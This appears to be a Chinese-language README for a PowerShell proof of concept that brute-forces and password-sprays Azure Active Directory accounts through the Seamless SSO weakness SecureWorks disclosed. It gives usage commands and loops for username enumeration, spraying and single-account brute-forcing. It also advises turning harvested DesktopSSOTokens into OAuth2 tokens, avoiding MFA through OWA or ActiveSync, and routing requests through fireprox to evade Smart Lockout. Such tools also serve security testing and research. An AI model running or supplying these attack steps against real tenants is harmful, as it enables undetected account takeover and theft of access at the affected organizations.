SecureWorks 近期披露的 Azure Active Directory 密码暴力破解漏洞的概念验证(POC)
此代码是最近披露的 Azure Active Directory 密码暴力破解漏洞的概念验证,该漏洞由 Secureworks 公布(Ars Technica 的这篇文章 比官方发布大约早一天,但内容几乎完全相同)。
理论上,这种方法允许攻击者对一个或多个 AAD 账户执行暴力破解或密码喷洒攻击,而不会引发账户锁定或产生日志数据,从而使攻击难以被察觉。
基本用法很简单:
.\aad-sso-enum-brute-spray.ps1 USERNAME PASSWORD
以这种方式调用代码,你可以获得指定用户名和密码的结果。
通过利用 foreach,你可以轻松地将其用于密码喷洒:
foreach($line in Get-Content .\all-m365-users.txt) {.\aad-sso-enum-brute-spray.ps1 $line Passw0rd! |Out-File -FilePath .\spray-results.txt -Append }
请注意,如果你想在 Linux 中处理结果文件,则需要将其从 UTF-16 转换为 UTF-8:
iconv -f UTF16 -t UTF-8 spray-results.txt >new-spray-results.txt
如果你只对枚举感兴趣,只需像上面那样运行密码喷洒即可。任何返回值为“bad password”,或者任何不是“no user”的值,都意味着你找到了有效的用户名。
如果某个用户名返回“True”,则表示所提供的密码有效。
返回“locked”可能表示账户被锁定,或者 Smart Lockout 暂时阻止了与该账户的交互。
要利用此代码进行暴力破解,只需遍历密码字段而不是用户名字段:
foreach($line in Get-Content .\passwords.txt) {.\aad-sso-enum-brute-spray.ps1 [email protected] $line |Out-File -FilePath .\brute-results.txt -Append }
如果你发现一个或多个有效的用户名/密码组合,可以修改此代码以获取返回的 DesktopSSOToken。随后,可以使用 此方法 将 DesktopSSOToken 兑换为 OAuth2 访问令牌。
然后,该 OAuth2 访问令牌可用于各种 Azure、M365 和 O365 API 端点。
但是,你可能会在此阶段被 MFA 拦住。你最好的选择是利用非 MFA 访问方式,例如 Outlook Web Access 或 ActiveSync。Dafthack 的 MFASweep 在这方面很有帮助。
如果你从同一 IP 地址过快访问 API 端点,Microsoft 的 Smart Lockout 功能会开始错误地声称账户被锁定。为了避免这个问题,我强烈建议使用 ustayready 的 fireprox。只需像这样更改 $url 变量:
$url="https://xxxxxxx.execute-api.us-east-1.amazonaws.com/fireprox/"+$requestid
不过,如果你试图对特定账户的密码进行暴力破解,这种方法无法绕过 Smart Lockout。
此代码几乎全部借自 Dr. Nestori Syynimaa 出色的 AADInternals 项目。